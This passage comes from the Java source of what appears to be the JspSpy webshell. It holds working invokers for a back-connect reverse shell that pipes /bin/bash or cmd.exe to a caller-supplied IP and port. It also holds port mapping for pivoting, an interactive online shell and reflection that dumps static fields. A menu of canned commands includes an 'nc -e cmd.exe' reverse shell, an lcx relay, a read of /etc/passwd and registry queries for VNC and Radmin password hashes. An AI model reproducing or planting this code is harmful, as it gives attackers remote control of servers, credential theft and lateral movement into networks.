  3157.  
  3158.         public boolean doBefore() {
  3159.             return true;
  3160.         }
  3161.  
  3162.         public void invoke(HttpServletRequest request,
  3163.                 HttpServletResponse response, HttpSession JSession)
  3164.                 throws Exception {
  3165.             try {
  3166.                 String targetIP = request.getParameter("targetIP");
  3167.                 String targetPort = request.getParameter("targetPort");
  3168.                 String yourIP = request.getParameter("yourIP");
  3169.                 String yourPort = request.getParameter("yourPort");
  3170.                 Socket yourS = new Socket();
  3171.                 yourS.connect(new InetSocketAddress(yourIP, Integer
  3172.                         .parseInt(yourPort)));
  3173.                 Socket targetS = new Socket();
  3174.                 targetS.connect(new InetSocketAddress(targetIP, Integer
  3175.                         .parseInt(targetPort)));
  3176.                 StreamConnector.readFromLocal(new DataInputStream(targetS
  3177.                         .getInputStream()), new DataOutputStream(yourS
  3178.                         .getOutputStream()));
  3179.                 StreamConnector.readFromRemote(targetS, yourS,
  3180.                         new DataInputStream(yourS.getInputStream()),
  3181.                         new DataOutputStream(targetS.getOutputStream()));
  3182.                 JSession.setAttribute("done", "Port Back Success !");
  3183.                 ((Invoker) ins.get("vmp")).invoke(request, response, JSession);
  3184.             } catch (Exception e) {
  3185.  
  3186.                 throw e;
  3187.             }
  3188.         }
  3189.     }
  3190.  
  3191.     private static class MapPortInvoker extends DefaultInvoker {
  3192.         public boolean doBefore() {
  3193.             return false;
  3194.         }
  3195.  
  3196.         public boolean doAfter() {
  3197.             return false;
  3198.         }
  3199.  
  3200.         public void invoke(HttpServletRequest request,
  3201.                 HttpServletResponse response, HttpSession JSession)
  3202.                 throws Exception {
  3203.             try {
  3204.                 PrintWriter out = response.getWriter();
  3205.                 String localIP = request.getParameter("localIP");
  3206.                 String localPort = request.getParameter("localPort");
  3207.                 final String remoteIP = request.getParameter("remoteIP");
  3208.                 final String remotePort = request.getParameter("remotePort");
  3209.                 if (Util.isEmpty(localIP) || Util.isEmpty(localPort)
  3210.                         || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
  3211.                     return;
  3212.                 Object obj = JSession.getAttribute(PORT_MAP);
  3213.                 if (obj != null) {
  3214.                     ServerSocket s = (ServerSocket) obj;
  3215.                     s.close();
  3216.                 }
  3217.                 final ServerSocket server = new ServerSocket();
  3218.                 server.bind(new InetSocketAddress(localIP, Integer
  3219.                         .parseInt(localPort)));
  3220.                 JSession.setAttribute(PORT_MAP, server);
  3221.                 new Thread(new Runnable() {
  3222.                     public void run() {
  3223.                         while (true) {
  3224.                             Socket soc = null;
  3225.                             Socket remoteSoc = null;
  3226.                             DataInputStream remoteIn = null;
  3227.                             DataOutputStream remoteOut = null;
  3228.                             DataInputStream localIn = null;
  3229.                             DataOutputStream localOut = null;
  3230.                             try {
  3231.                                 soc = server.accept();
  3232.                                 remoteSoc = new Socket();
  3233.                                 remoteSoc
  3234.                                         .connect(new InetSocketAddress(
  3235.                                                 remoteIP, Integer
  3236.                                                         .parseInt(remotePort)));
  3237.                                 remoteIn = new DataInputStream(remoteSoc
  3238.                                         .getInputStream());
  3239.                                 remoteOut = new DataOutputStream(remoteSoc
  3240.                                         .getOutputStream());
  3241.                                 localIn = new DataInputStream(soc
  3242.                                         .getInputStream());
  3243.                                 localOut = new DataOutputStream(soc
  3244.                                         .getOutputStream());
  3245.                                 StreamConnector.readFromLocal(localIn,
  3246.                                         remoteOut);
  3247.                                 StreamConnector.readFromRemote(soc, remoteSoc,
  3248.                                         remoteIn, localOut);
  3249.                             } catch (Exception ex) {
  3250.                                 break;
  3251.                             }
  3252.                         }
  3253.                     }
  3254.  
  3255.                 }).start();
  3256.                 JSession.setAttribute("done", "Map Port Success!");
  3257.                 JSession.setAttribute("localIP", localIP);
  3258.                 JSession.setAttribute("localPort", localPort);
  3259.                 JSession.setAttribute("remoteIP", remoteIP);
  3260.                 JSession.setAttribute("remotePort", remotePort);
  3261.                 JSession.setAttribute(SESSION_O, "vmp");
  3262.                 response.sendRedirect(SHELL_NAME);
  3263.             } catch (Exception e) {
  3264.  
  3265.                 throw e;
  3266.             }
  3267.         }
  3268.     }
  3269.  
  3270.     //VBackConnect
  3271.     private static class VbcInvoker extends DefaultInvoker {
  3272.         public void invoke(HttpServletRequest request,
  3273.                 HttpServletResponse response, HttpSession JSession)
  3274.                 throws Exception {
  3275.             try {
  3276.                 PrintWriter out = response.getWriter();
  3277.                 Object ip = JSession.getAttribute("ip");
  3278.                 Object port = JSession.getAttribute("port");
  3279.                 Object program = JSession.getAttribute("program");
  3280.                 Object done = JSession.getAttribute("done");
  3281.                 JSession.removeAttribute("ip");
  3282.                 JSession.removeAttribute("port");
  3283.                 JSession.removeAttribute("program");
  3284.                 JSession.removeAttribute("done");
  3285.                 if (Util.isEmpty(ip))
  3286.                     ip = request.getRemoteAddr();
  3287.                 if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
  3288.                     port = "1234";
  3289.                 if (Util.isEmpty(program)) {
  3290.                     if (ISLINUX)
  3291.                         program = "/bin/bash";
  3292.                     else
  3293.                         program = "cmd.exe";
  3294.                 }
  3295.  
  3296.                 if (!Util.isEmpty(done))
  3297.                     Util.outMsg(out, done.toString());
  3298.                 out
  3299.                         .println("<form action=\""
  3300.                                 + SHELL_NAME
  3301.                                 + "\" method=\"post\">"
  3302.                                 + "<input type=\"hidden\" name=\"o\" value=\"backConnect\">"
  3303.                                 + "  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3304.                                 + "  <tr>"
  3305.                                 + "    <td><h2 id=\"Bin_H2_Title\">Back Connect &gt;&gt;</h2>"
  3306.                                 + "      <div id=\"hOWTm\">"
  3307.                                 + "      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"
  3308.                                 + "      <tr align=\"center\">"
  3309.                                 + "        <td style=\"width:5%\"></td>"
  3310.                                 + "        <td  align=\"center\">Your Ip :"
  3311.                                 + "          <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3312.                                 + ip
  3313.                                 + "\" />"
  3314.                                 + "          Your Port :"
  3315.                                 + "          <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3316.                                 + port
  3317.                                 + "\" />Program To Back :"
  3318.                                 + "          <input name=\"program\" id=\"program\" type=\"text\" value=\""
  3319.                                 + program
  3320.                                 + "\" class=\"input\" size=\"20\" value=\"d\" /></td>"
  3321.                                 + "      </tr>"
  3322.                                 + "      <tr align=\"center\">"
  3323.                                 + "        <td colspan=\"2\"><br/>"
  3324.                                 + "          <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"
  3325.                                 + "    </td>" + "    </tr>" + "    </table>"
  3326.                                 + "    </div>" + "</td>" + "</tr>" + "</table>"
  3327.                                 + "</form>");
  3328.             } catch (Exception e) {
  3329.  
  3330.                 throw e;
  3331.             }
  3332.         }
  3333.     }
  3334.  
  3335.     private static class BackConnectInvoker extends DefaultInvoker {
  3336.         public boolean doAfter() {
  3337.             return false;
  3338.         }
  3339.  
  3340.         public boolean doBefore() {
  3341.             return false;
  3342.         }
  3343.  
  3344.         public void invoke(HttpServletRequest request,
  3345.                 HttpServletResponse response, HttpSession JSession)
  3346.                 throws Exception {
  3347.             try {
  3348.                 String ip = request.getParameter("ip");
  3349.                 String port = request.getParameter("port");
  3350.                 String program = request.getParameter("program");
  3351.                 if (Util.isEmpty(ip) || Util.isEmpty(program)
  3352.                         || !Util.isInteger(port))
  3353.                     return;
  3354.                 Socket socket = new Socket(ip, Integer.parseInt(port));
  3355.                 Process process = Runtime.getRuntime().exec(program);
  3356.                 (new StreamConnector(process.getInputStream(), socket
  3357.                         .getOutputStream())).start();
  3358.                 (new StreamConnector(process.getErrorStream(), socket
  3359.                         .getOutputStream())).start();
  3360.                 (new StreamConnector(socket.getInputStream(), process
  3361.                         .getOutputStream())).start();
  3362.                 JSession.setAttribute("done", "Back Connect Success!");
  3363.                 JSession.setAttribute("ip", ip);
  3364.                 JSession.setAttribute("port", port);
  3365.                 JSession.setAttribute("program", program);
  3366.                 JSession.setAttribute(SESSION_O, "vbc");
  3367.                 response.sendRedirect(SHELL_NAME);
  3368.             } catch (Exception e) {
  3369.  
  3370.                 throw e;
  3371.             }
  3372.         }
  3373.     }
  3374.  
  3375.     private static class JspEnvInvoker extends DefaultInvoker {
  3376.         public void invoke(HttpServletRequest request,
  3377.                 HttpServletResponse response, HttpSession JSession)
  3378.                 throws Exception {
  3379.             try {
  3380.                 PrintWriter out = response.getWriter();
  3381.                 out
  3382.                         .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3383.                                 + "      <tr>"
  3384.                                 + "        <td><h2 id=\"Ninty_H2_Title\">System Properties &gt;&gt;</h2>"
  3385.                                 + "          <div id=\"ghaB\">"
  3386.                                 + "            <hr/>"
  3387.                                 + "            <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
  3388.                 Properties pro = System.getProperties();
  3389.                 Enumeration names = pro.propertyNames();
  3390.                 while (names.hasMoreElements()) {
  3391.                     String name = (String) names.nextElement();
  3392.                     out.println("<li><u>" + Util.htmlEncode(name) + " : </u>"
  3393.                             + Util.htmlEncode(pro.getProperty(name)) + "</li>");
  3394.                 }
  3395.                 out
  3396.                         .println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment &gt;&gt;</h2><hr/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
  3397.                 /*
  3398.                  Map envs = System.getenv();
  3399.                  Set<Map.Entry<String,String>> entrySet = envs.entrySet();
  3400.                  for (Map.Entry<String,String> en:entrySet) {
  3401.                  out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
  3402.                  }*/
  3403.                 out
  3404.                         .println("</ul></div></td>" + "      </tr>"
  3405.                                 + "    </table>");
  3406.             } catch (Exception e) {
  3407.  
  3408.                 throw e;
  3409.             }
  3410.         }
  3411.     }
  3412.  
  3413.     private static class ReflectInvoker extends DefaultInvoker {
  3414.         public void invoke(HttpServletRequest request,
  3415.                 HttpServletResponse response, HttpSession JSession)
  3416.                 throws Exception {
  3417.             try {
  3418.                 PrintWriter out = response.getWriter();
  3419.                 String c = request.getParameter("Class");
  3420.                 Class cls = null;
  3421.                 try {
  3422.                     if (!Util.isEmpty(c))
  3423.                         cls = Class.forName(c);
  3424.                 } catch (ClassNotFoundException ex) {
  3425.                     Util.outMsg(out, "<span style='color:red'>Class " + c
  3426.                             + " Not Found ! </span>");
  3427.                 }
  3428.                 out
  3429.                         .println("<form action=\""
  3430.                                 + SHELL_NAME
  3431.                                 + "\" id='refForm' method=\"post\">"
  3432.                                 + "  <input type=\"hidden\" name=\"o\" value=\"reflect\">"
  3433.                                 + "  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3434.                                 + "    <tr>"
  3435.                                 + "      <td><h2 id=\"Bin_H2_Title\">Java Reflect &gt;&gt;</h2>"
  3436.                                 + "          <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"
  3437.                                 + "            <tr>"
  3438.                                 + "              <td>Class Name : <input name=\"Class\" type=\"text\" class=\"input\" value=\""
  3439.                                 + (Util.isEmpty(c) ? "java.lang.Object" : c)
  3440.                                 + "\" size=\"60\"/> "
  3441.                                 + "              <input type=\"submit\" class=\"bt\" value=\"Reflect\"/></td>"
  3442.                                 + "            </tr>" + "            "
  3443.                                 + "          </table>" + "        </td>"
  3444.                                 + "    </tr>" + "  </table>" + "</form>");
  3445.  
  3446.                 if (cls != null) {
  3447.                     StringBuffer sb = new StringBuffer();
  3448.                     if (cls.getPackage() != null)
  3449.                         sb.append("package " + cls.getPackage().getName()
  3450.                                 + ";\n");
  3451.                     String n = null;
  3452.                     if (cls.isInterface())
  3453.                         n = "";
  3454.                     //else if (cls.isEnum())
  3455.                     //    n = "enum";
  3456.                     else
  3457.                         n = "class";
  3458.                     sb.append(Modifier.toString(cls.getModifiers()) + " " + n
  3459.                             + " " + cls.getName() + "\n");
  3460.                     if (cls.getSuperclass() != null)
  3461.                         sb
  3462.                                 .append("\textends <a href=\"javascript:document.forms['refForm'].elements['Class'].value='"
  3463.                                         + cls.getSuperclass().getName()
  3464.                                         + "';document.forms['refForm'].submit()\" style='color:red;'>"
  3465.                                         + cls.getSuperclass().getName()
  3466.                                         + "</a>\n");
  3467.                     if (cls.getInterfaces() != null
  3468.                             && cls.getInterfaces().length != 0) {
  3469.                         Class[] faces = cls.getInterfaces();
  3470.                         sb.append("\t implements ");
  3471.                         for (int i = 0; i < faces.length; i++) {
  3472.                             sb
  3473.                                     .append("<a href=\"javascript:document.forms['refForm'].elements['Class'].value='"
  3474.                                             + faces[i].getName()
  3475.                                             + "';document.forms['refForm'].submit()\" style='color:red'>"
  3476.                                             + faces[i].getName() + "</a>");
  3477.                             if (i != faces.length - 1) {
  3478.                                 sb.append(",");
  3479.                             }
  3480.                         }
  3481.                     }
  3482.                     sb.append("{\n\t\n");
  3483.                     sb.append("\t//constructors..\n");
  3484.                     Constructor[] cs = cls.getConstructors();
  3485.                     for (int i = 0; i < cs.length; i++) {
  3486.                         Constructor cc = cs[i];
  3487.                         sb.append("\t" + cc + ";\n");
  3488.                     }
  3489.                     sb.append("\n\t//fields\n");
  3490.                     Field[] fs = cls.getDeclaredFields();
  3491.                     for (int i = 0; i < fs.length; i++) {
  3492.                         Field f = fs[i];
  3493.                         sb.append("\t" + f.toString() + ";");
  3494.                         if (Modifier.toString(f.getModifiers()).indexOf(
  3495.                                 "static") != -1) {
  3496.                             sb.append("\t//value is : ");
  3497.                             f.setAccessible(true);
  3498.                             Object obj = f.get(null);
  3499.                             sb.append("<span style='color:red'>");
  3500.                             if (obj != null)
  3501.                                 sb.append(obj.toString());
  3502.                             else
  3503.                                 sb.append("NULL");
  3504.  
  3505.                             sb.append("</span>");
  3506.                         }
  3507.                         sb.append("\n");
  3508.                     }
  3509.  
  3510.                     sb.append("\n\t//methods\n");
  3511.                     Method[] ms = cls.getDeclaredMethods();
  3512.                     for (int i = 0; i < ms.length; i++) {
  3513.                         Method m = ms[i];
  3514.                         sb.append("\t" + m.toString() + ";\n");
  3515.                     }
  3516.                     sb.append("}\n");
  3517.                     String m = "<span style='font-weight:normal'>"
  3518.                             + Util.highLight(sb.toString()).replaceAll("\t",
  3519.                                     "&nbsp;&nbsp;&nbsp;&nbsp;").replaceAll(
  3520.                                     "\n", "<br/>") + "</span>";
  3521.                     Util.outMsg(out, m, "left");
  3522.                 }
  3523.             } catch (Exception e) {
  3524.                 throw e;
  3525.             }
  3526.         }
  3527.     }
  3528.  
  3529.     private static class TopInvoker extends DefaultInvoker {
  3530.         public void invoke(HttpServletRequest request,
  3531.                 HttpServletResponse response, HttpSession JSession)
  3532.                 throws Exception {
  3533.             try {
  3534.                 PrintWriter out = response.getWriter();
  3535.                 out
  3536.                         .println("<form action=\""
  3537.                                 + SHELL_NAME
  3538.                                 + "\" method=\"post\" name=\"doForm\"></form>"
  3539.                                 + "<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"
  3540.                                 + "    <tr class=\"head\">"
  3541.                                 + "        <td><span style=\"float:right;\">JspSpy Ver: 2010</span>"
  3542.                                 + request.getHeader("host")
  3543.                                 + " (<span id='ip'>"
  3544.                                 + InetAddress.getLocalHost().getHostAddress()
  3545.                                 + "</span>) | <a href=\"javascript:if (!window.clipboardData){alert('only support IE!');}else{void(window.clipboardData.setData('Text', document.getElementById('ip').innerText));alert('ok')}\">copy</a></td>"
  3546.                                 + "    </tr>"
  3547.                                 + "    <tr class=\"alt1\">"
  3548.                                 + "        <td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "
  3549.                                 + "            <a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "
  3550.                                 + "            <a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "
  3551.                                 + "            <a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "
  3552.                                 + "            <a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "
  3553.                                 + "            <a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "
  3554.                                 + "            <a href=\"javascript:doPost({o:'reflect'});\">Java Reflect</a> | "
  3555.                                 + "            <!--<a href=\"javascript:alert('not support yet');\">Http Proxy</a> | -->"
  3556.                                 + "            <a href=\"javascript:doPost({o:'ev'});\">Eval Java Code</a> | "
  3557.                                 + "            <a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "
  3558.                                 + "            <a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "
  3559.                                 + "            <a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "
  3560.                                 + "            <a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "
  3561.                                 + "            <a href=\"javascript:doPost({o:'vother'});\">Others</a> | "
  3562.                                 + "            <a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "
  3563.                                 + "    </tr>" + "</table>");
  3564.                 if (JSession.getAttribute(MSG) != null) {
  3565.                     Util.outMsg(out, JSession.getAttribute(MSG).toString());
  3566.                     JSession.removeAttribute(MSG);
  3567.                 }
  3568.                 if (JSession.getAttribute(ENTER_MSG) != null) {
  3569.                     String outEntry = request.getParameter("outentry");
  3570.                     if (Util.isEmpty(outEntry) || !outEntry.equals("true"))
  3571.                         Util.outMsg(out, JSession.getAttribute(ENTER_MSG)
  3572.                                 .toString());
  3573.                 }
  3574.             } catch (Exception e) {
  3575.  
  3576.                 throw e;
  3577.             }
  3578.         }
  3579.     }
  3580.  
  3581.     private static class VOnLineShellInvoker extends DefaultInvoker {
  3582.         public void invoke(HttpServletRequest request,
  3583.                 HttpServletResponse response, HttpSession JSession)
  3584.                 throws Exception {
  3585.             try {
  3586.                 PrintWriter out = response.getWriter();
  3587.                 out
  3588.                         .println("<script>"
  3589.                                 + "                function $(id) {"
  3590.                                 + "                    return document.getElementById(id);"
  3591.                                 + "                }"
  3592.                                 + "                var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"
  3593.                                 + "                window.onload = function(){"
  3594.                                 + "                    setInterval(function(){"
  3595.                                 + "                        if ($(\"autoscroll\").checked)"
  3596.                                 + "                        {"
  3597.                                 + "                            var f = window.frames[\"echo\"];"
  3598.                                 + "                            if (f && f.document && f.document.body)"
  3599.                                 + "                            {"
  3600.                                 + "                                if (!ie)"
  3601.                                 + "                                {"
  3602.                                 + "                                    if (f.document.body.offsetHeight)"
  3603.                                 + "                                    {"
  3604.                                 + "                                        f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"
  3605.                                 + "                                    }"
  3606.                                 + "                                } else {"
  3607.                                 + "                                    f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"
  3608.                                 + "                                }" + "                            }" + "                        }"
  3609.                                 + "                    },500);" + "                }" + "            </script>");
  3610.                 out
  3611.                         .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3612.                                 + "  <tr>" + "    <td>");
  3613.                 out.println("<h2>Shell OnLine &raquo;</h2><br/>");
  3614.                 out
  3615.                         .println("<form action=\""
  3616.                                 + SHELL_NAME
  3617.                                 + "\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">"
  3618.                                 + "            <input type=\"submit\" value=\" start \" class=\"bt\">"
  3619.                                 + "                <input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\""
  3620.                                 + (ISLINUX ? "/bin/bash"
  3621.                                         : "c:\\windows\\system32\\cmd.exe")
  3622.                                 + "\"/>"
  3623.                                 + "                <input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo</span>"
  3624.                                 + "            </form>"
  3625.                                 + "            <hr/>"
  3626.                                 + "                <iframe class=\"secho\" name=\"echo\" src=\"\">"
  3627.                                 + "                </iframe>"
  3628.                                 + "                <form action=\""
  3629.                                 + SHELL_NAME
  3630.                                 + "\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"
  3631.                                 + "                    <input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:75%\">"
  3632.                                 + "                    <input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"
  3633.                                 + "                    <select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">"
  3634.                                 + "                        <option value=\"\" selected> </option>"
  3635.                                 + "                        <option value=\"uname -a\">uname -a</option>"
  3636.                                 + "                        <option value=\"cat /etc/issue\">issue</option>"
  3637.                                 + "                        <option value=\"cat /etc/passwd\">passwd</option>"
  3638.                                 + "                        <option value=\"netstat -an\">netstat -an</option>"
  3639.                                 + "                        <option value=\"net user\">net user</option>"
  3640.                                 + "                        <option value=\"tasklist\">tasklist</option>"
  3641.                                 + "                        <option value=\"tasklist /svc\">tasklist /svc</option>"
  3642.                                 + "                        <option value=\"net start\">net start</option>"
  3643.                                 + "                        <option value=\"net stop policyagent /yes\">net stop</option>"
  3644.                                 + "                        <option value=\"nbtstat -A IP\">nbtstat -A</option>"
  3645.                                 + "                        <option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"
  3646.                                 + "                        <option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"
  3647.                                 + "                        <option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"
  3648.                                 + "                        <option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"
  3649.                                 + "                        <option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"
  3650.                                 + "                        <option value=\"systeminfo\">systeminfo</option>"
  3651.                                 + "                        <option value=\"net localgroup\">view groups</option>"
  3652.                                 + "                        <option value=\"net localgroup administrators\">view admins</option>"
  3653.                                 + "                    </select>"
  3654.                                 + "                    <input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"
  3655.                                 + "                    <input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">"
  3656.                                 + "                </form>"
  3657.                                 + "            <iframe style=\"display:none\" name=\"asyn\"></iframe>");
  3658.                 out.println("    </td>" + "  </tr>" + "</table>");
  3659.             } catch (Exception e) {
  3660.                 throw e;
  3661.             }
  3662.         }
  3663.     }
  3664.  
  3665.     private static class OnLineInvoker extends DefaultInvoker {
  3666.         public boolean doBefore() {
  3667.             return false;
  3668.         }
  3669.  
  3670.         public boolean doAfter() {
  3671.             return false;
  3672.         }
  3673.  
  3674.         public void invoke(HttpServletRequest request,
  3675.                 HttpServletResponse response, HttpSession JSession)
  3676.                 throws Exception {
  3677.             try {
  3678.                 String type = request.getParameter("type");
  3679.                 if (Util.isEmpty(type))
  3680.                     return;
  3681.                 if (type.toLowerCase().equals("start")) {
  3682.                     String exe = request.getParameter("exe");
  3683.                     if (Util.isEmpty(exe))
  3684.                         return;
  3685.                     Process pro = Runtime.getRuntime().exec(exe);
  3686.                     ByteArrayOutputStream outs = new ByteArrayOutputStream();
  3687.                     response.setContentLength(100000000);
  3688.                     response.setContentType("text/html;charset="
  3689.                             + System.getProperty("file.encoding"));
  3690.                     OnLineProcess olp = new OnLineProcess(pro);
  3691.                     JSession.setAttribute(SHELL_ONLINE, olp);
  3692.                     new OnLineConnector(new ByteArrayInputStream(outs
  3693.                             .toByteArray()), pro.getOutputStream(),
  3694.                             "exeOclientR", olp).start();
  3695.                     new OnLineConnector(pro.getInputStream(), response
  3696.                             .getOutputStream(), "exeRclientO", olp).start();
  3697.                     new OnLineConnector(pro.getErrorStream(), response
  3698.                             .getOutputStream(), "exeRclientO", olp).start();
  3699.                     Thread.sleep(1000 * 60 * 60 * 24);
  3700.                 } else if (type.equals("ecmd")) {
  3701.                     Object o = JSession.getAttribute(SHELL_ONLINE);
  3702.                     String cmd = request.getParameter("cmd");
  3703.                     if (Util.isEmpty(cmd))
  3704.                         return;
  3705.                     if (o == null)
  3706.                         return;
  3707.                     OnLineProcess olp = (OnLineProcess) o;
  3708.                     olp.setCmd(cmd);
  3709.                 } else {
  3710.                     Object o = JSession.getAttribute(SHELL_ONLINE);
  3711.                     if (o == null)
  3712.                         return;
  3713.                     OnLineProcess olp = (OnLineProcess) o;
  3714.                     olp.stop();
  3715.                 }
  3716.             } catch (Exception e) {
  3717.  
  3718.                 throw e;
  3719.             }
  3720.         }
  3721.     }
  3722.  
  3723.     private static class EnterInvoker extends DefaultInvoker {
  3724.         public boolean doBefore() {
  3725.             return false;
  3726.         }
  3727.  
  3728.         public boolean doAfter() {
  3729.             return false;
  3730.         }
  3731.  
  3732.         public void invoke(HttpServletRequest request,
  3733.                 HttpServletResponse response, HttpSession JSession)
  3734.                 throws Exception {
  3735.             PrintWriter out = response.getWriter();
  3736.             String type = request.getParameter("type");
  3737.             if (!Util.isEmpty(type)) {
  3738.                 JSession.removeAttribute(ENTER);
  3739.                 JSession.removeAttribute(ENTER_MSG);
  3740.                 JSession.removeAttribute(ENTER_CURRENT_DIR);
  3741.                 JSession.setAttribute(MSG, "Exit File Success ! ");
  3742.             } else {
  3743.                 String f = request.getParameter("filepath");
  3744.                 if (Util.isEmpty(f))
  3745.                     return;
  3746.                 JSession.setAttribute(ENTER, f);
  3747.                 JSession
  3748.                         .setAttribute(
  3749.                                 ENTER_MSG,
  3750.                                 "You Are In File <a style='color:red'>\""
  3751.                                         + f
  3752.                                         + "\"</a> Now ! <a href=\"javascript:doPost({o:'enter',type:'exit'})\"> Exit </a>");
  3753.             }
  3754.             response.sendRedirect(SHELL_NAME);
  3755.         }
  3756.     }
  3757.  
  3758.     private static class VExport2FileInvoker extends DefaultInvoker {
  3759.         public void invoke(HttpServletRequest request,
  3760.                 HttpServletResponse response, HttpSession JSession)
  3761.                 throws Exception {
  3762.             PrintWriter out = response.getWriter();
  3763.             String type = request.getParameter("type");
  3764.             String sql = request.getParameter("sql");
  3765.             String table = request.getParameter("table");
  3766.             if (Util.isEmpty(sql) && Util.isEmpty(table)) {
  3767.                 JSession.setAttribute(SESSION_O, "vConn");
  3768.                 response.sendRedirect(SHELL_NAME);
  3769.                 return;
  3770.             }
  3771.             out
  3772.                     .println("<form action=\"\" method=\"post\">"
  3773.                             + "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3774.                             + "  <tr>"
  3775.                             + "    <td>"
  3776.                             + "    <input type=\"hidden\" name=\"o\" value=\"export\"/>"
  3777.                             + "    <input type=\"hidden\" name=\"type\" value=\""
  3778.                             + (Util.isEmpty(type) ? "" : type)
  3779.                             + "\"/>"
  3780.                             + "    <input type=\"hidden\" name=\"sql\" value=\""
  3781.                             + (Util.isEmpty(sql) ? "" : sql.replaceAll("\"",
  3782.                                     "&quot;"))
  3783.                             + "\"/>"
  3784.                             + "    <input type=\"hidden\" name=\"table\" value=\""
  3785.                             + (Util.isEmpty(table) ? "" : table)
  3786.                             + "\"/>"
  3787.                             + "    <h2>Export To File &raquo;</h2>"
  3788.                             + "        "
  3789.                             + "    <hr/>Export \"<span style='color:red;font-weight:bold'>"
  3790.                             + (Util.isEmpty(sql) ? table : sql.replaceAll("\"",
  3791.                                     "&quot;"))
  3792.                             + "</span>\" To File : <input type=\"text\" style=\"font-weight:bold\" name=\"filepath\" value=\""
  3793.                             + (JSession.getAttribute(CURRENT_DIR).toString() + "/exportdata.txt")
  3794.                             + "\" size=\"100\" class=\"input\"/>"
  3795.                             + " <select name='encode' class='input'><option value=''>ANSI</option><option value='GBK'>GBK</option><option value='UTF-8'>UTF-8</option><option value='ISO-8859-1'>ISO-8859-1</option></select>"
  3796.                             + " <input type=\"submit\" class=\"bt\" value=\"Export\"/><br/><br/>"
  3797.                             + BACK_HREF
  3798.                             + "</td>"
  3799.                             + "        </tr>"
  3800.                             + "      </table>" + "</form>");
  3801.         }
  3802.     }
  3803.  
  3804.     private static class ExportInvoker extends DefaultInvoker {
  3805.         public boolean doBefore() {
  3806.             return false;
  3807.         }
  3808.  
  3809.         public boolean doAfter() {
  3810.             return false;
  3811.         }
  3812.  
  3813.         public void invoke(HttpServletRequest request,
  3814.                 HttpServletResponse response, HttpSession JSession)
  3815.                 throws Exception {
  3816.             String type = request.getParameter("type");
  3817.             String filepath = request.getParameter("filepath");
  3818.             String encode = request.getParameter("encode");
  3819.             String sql = null;
  3820.             DBOperator dbo = null;
  3821.             dbo = (DBOperator) JSession.getAttribute(DBO);
  3822.  
  3823.             if (Util.isEmpty(type)) {
  3824.                 //table export
  3825.                 String tb = request.getParameter("table");
  3826.                 if (Util.isEmpty(tb))
  3827.                     return;
  3828.                 String s = dbo.getConn().getMetaData()
  3829.                         .getIdentifierQuoteString();
  3830.                 sql = "select * from " + s + tb + s;
  3831.  
  3832.             } else if (type.equals("queryexp")) {
  3833.                 //query export
  3834.                 sql = request.getParameter("sql");
  3835.                 if (Util.isEmpty(sql)) {
  3836.                     JSession.setAttribute(SESSION_O, "vConn");
  3837.                     response.sendRedirect(SHELL_NAME);
  3838.                     return;
  3839.                 }
  3840.             }
  3841.             Object o = dbo.execute(sql);
  3842.             ByteArrayOutputStream bout = new ByteArrayOutputStream();
  3843.             byte[] rowSep = "\r\n".getBytes();
